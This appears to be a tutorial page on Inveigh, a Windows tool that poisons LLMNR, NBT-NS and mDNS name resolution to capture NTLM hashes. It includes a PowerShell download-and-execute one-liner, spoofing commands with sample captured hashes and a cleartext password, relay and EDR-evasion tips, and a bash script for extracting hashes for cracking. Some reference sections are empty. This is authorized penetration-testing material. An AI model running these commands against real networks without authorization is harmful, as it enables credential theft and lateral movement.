Inveigh: Complete Guide to LLMNR, NBNS, and mDNS Spoofing Using Kali Linux

Inveigh is the Windows/.NET/PowerShell counterpart to Responder — a spoofer and man-in-the-middle tool for LLMNR, NBT-NS, mDNS, and DNS on Windows networks. Where Responder is typically run from a Linux attack box (Kali) sitting on the network, Inveigh is designed to run from a compromised or authorized Windows host already inside the target network — making it especially useful during Active Directory engagements where you have a foothold (e.g., via C2 implant, RDP session, or an authorized internal test workstation) but no Linux box on that particular VLAN.

Inveigh ships in two actively maintained implementations:

• Inveigh (PowerShell) — the original, Invoke-Inveigh, loaded as a PowerShell module/script
• InveighZero (C#/.NET) — a full rewrite, compiled Inveigh.exe, generally faster and more feature-complete, actively maintained on GitHub

Both perform the same core attacks: LLMNR/NBT-NS/mDNS poisoning, NTLMv1/v2 challenge-response capture, HTTP/HTTPS/SMB/LDAP rogue servers, and relay-friendly hash output, all without needing a separate Linux attack box on-segment.

Installation

Inveigh is not preinstalled on Kali (it’s a Windows-side tool) but Kali ships the source for reference and cross-compilation, and it’s commonly staged onto a Windows target during an engagement.

Option A — PowerShell version (no compilation needed):

# On the Windows host (with appropriate authorization):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')

Or, if transferring the file directly:

Import-Module .\Inveigh.ps1

Option B — InveighZero (.NET, compiled binary):

# From Kali, clone and build with .NET SDK, or download prebuilt release:
git clone https://github.com/Kevin-Robertson/Inveigh.git
cd Inveigh/Inveigh
dotnet build -c Release

Copy the resulting Inveigh.exe to the Windows host.

Verify (PowerShell version):

Get-Command Invoke-Inveigh

Verify (.NET version):

Inveigh.exe --version

Syntax

PowerShell:

Invoke-Inveigh [-PARAMETER <VALUE>] ...

InveighZero (.NET):

Inveigh.exe [OPTIONS]

Command-Line / Parameter Reference

PowerShell Invoke-Inveigh key parameters:

InveighZero (Inveigh.exe) key options:

Interactive console commands once running (both versions expose a live command console via HELP, GET NTLMV2UNIQUE, STOP, etc.):

Basic Usage

PowerShell:

Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

Expected console output:

Inveigh 1.506 started at 2026-07-19T10:15:22
Elevated Privilege Mode = Enabled
Spoofer IP Address      = 192.168.1.50
Primary IP Address      = 192.168.1.50
LLMNR Spoofer           = Enabled
NBNS Spoofer            = Enabled
HTTP Capture            = Enabled
HTTPS Capture           = Disabled
SMB Capture             = Enabled

InveighZero:

Inveigh.exe -ConsoleOutput Y -FileOutput Y -Elevated Y

Expected output:

[*] Inveigh 3.0.0 started
[+] LLMNR spoofer: [ON]
[+] NBNS spoofer: [ON]
[+] SMB capture: [ON] (elevated)
[+] Console output: [ON]

Practical Examples with Output

Example 1 — Basic capture session (PowerShell)

Invoke-Inveigh -ConsoleOutput Y

Output on captured hash:

[+] [2026-07-19T10:16:04] NTLMv2 challenge/response captured from 192.168.1.22(WORKSTATION2)
CONTOSO\bjones::WORKSTATION2:1122334455667788:AABBCCDDEE...:0101...

Example 2 — Disable NBT-NS, keep only LLMNR (quieter fingerprint)

Invoke-Inveigh -LLMNR Y -NBNS N -ConsoleOutput Y

Example 3 — Timed run that auto-stops after 20 minutes

Invoke-Inveigh -RunTime 20 -FileOutput Y -OutputDir "C:\Temp\Inveigh"

Output:

[+] Inveigh will automatically stop after 20 minutes.
[+] Output directory set to C:\Temp\Inveigh

Example 4 — Dumping captured unique NTLMv2 hashes from the live console

> GET NTLMV2UNIQUE

Output:

jsmith::CONTOSO:1122334455667788:AABBCCDD...:0101000000000000...
bjones::CONTOSO:8877665544332211:FFEEDDCC...:0101000000000000...

Example 5 — InveighZero with HTTPS capture and elevated SMB server

Inveigh.exe -HTTPS Y -SMB Y -Elevated Y -ConsoleOutput Y

Output:

[+] HTTPS capture: [ON] (self-signed cert generated)
[+] SMB capture: [ON] (elevated, listening on 445)

Example 6 — Restricting spoofed responses to specific hostnames only

Invoke-Inveigh -SpooferHostsReply "FILESERVER","PRINTSERVER" -ConsoleOutput Y

Output:

[+] Spoofer will only respond to: FILESERVER, PRINTSERVER

Example 7 — Stopping the running instance cleanly

> STOP

Output:

[+] Inveigh exited cleanly at 2026-07-19T10:41:12
[+] Log file saved to C:\Temp\Inveigh\Inveigh-Log.txt

Example 8 — Exporting captured cleartext credentials (e.g., from HTTP Basic downgrade)

> GET CLEARTEXT

Output:

[+] Cleartext credentials captured:
CONTOSO\svc_backup:BackupP@ss2024

Common Use Cases

• Capturing NTLM challenge-response hashes from a foothold already inside a segmented AD network where a Linux attack box can’t reach (e.g., isolated VLAN)
• Living-off-the-land style engagements where dropping a PowerShell script is lower-friction than staging a full Linux toolset
• Chaining captured hashes into relay attacks against SMB/LDAP targets reachable from the compromised host
• Validating whether endpoint detection (EDR) flags LLMNR/NBT-NS spoofing behavior originating from a workstation rather than “unusual” attacker infrastructure
• Demonstrating internal segmentation weaknesses during red-team engagements

Automation with Bash

Since Inveigh itself runs on Windows, Bash is typically used on the Kali/Linux side to process exfiltrated log files after the engagement:

#!/bin/bash
# inveigh_postprocess.sh - Parse an exfiltrated Inveigh log for crackable hashes
LOGFILE="$1"
OUT="/tmp/inveigh_hashes_$(date +%Y%m%d_%H%M%S).txt"

if [[ -z "$LOGFILE" || ! -f "$LOGFILE" ]]; then
    echo "Usage: $0 <path-to-Inveigh-Log.txt>"
    exit 1
fi

grep -Eo '[A-Za-z0-9_\.]+::[A-Za-z0-9_\.]+:[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+' "$LOGFILE" | sort -u > "$OUT"
echo "[*] Extracted $(wc -l < "$OUT") unique NetNTLMv2 hashes to $OUT"
echo "[*] Crack with: hashcat -m 5600 $OUT rockyou.txt"

Tips and Best Practices

• Prefer InveighZero over the PowerShell version on modern hosts — it’s more actively maintained and better handles AMSI/EDR friction points.
• Use -RunTime to guarantee the tool stops automatically even if your session is interrupted, avoiding an orphaned spoofer running indefinitely on a client host.
• Restrict scope with -SpooferHostsReply/-SpooferHostsIgnore when you only need to target specific systems, reducing collateral disruption on the client network.
• Always retrieve and securely delete the log/output directory from the host at the end of the engagement — credential material should never be left behind.
• -Elevated Y requires admin rights on the host for privileged listeners (SMB 445, HTTPS 443) — plan privilege level accordingly.

Troubleshooting

References

• Official GitHub repository (PowerShell + InveighZero): https://github.com/Kevin-Robertson/Inveigh
• Wiki/usage documentation: https://github.com/Kevin-Robertson/Inveigh/wiki
• Related Impacket relay tooling: https://github.com/fortra/impacket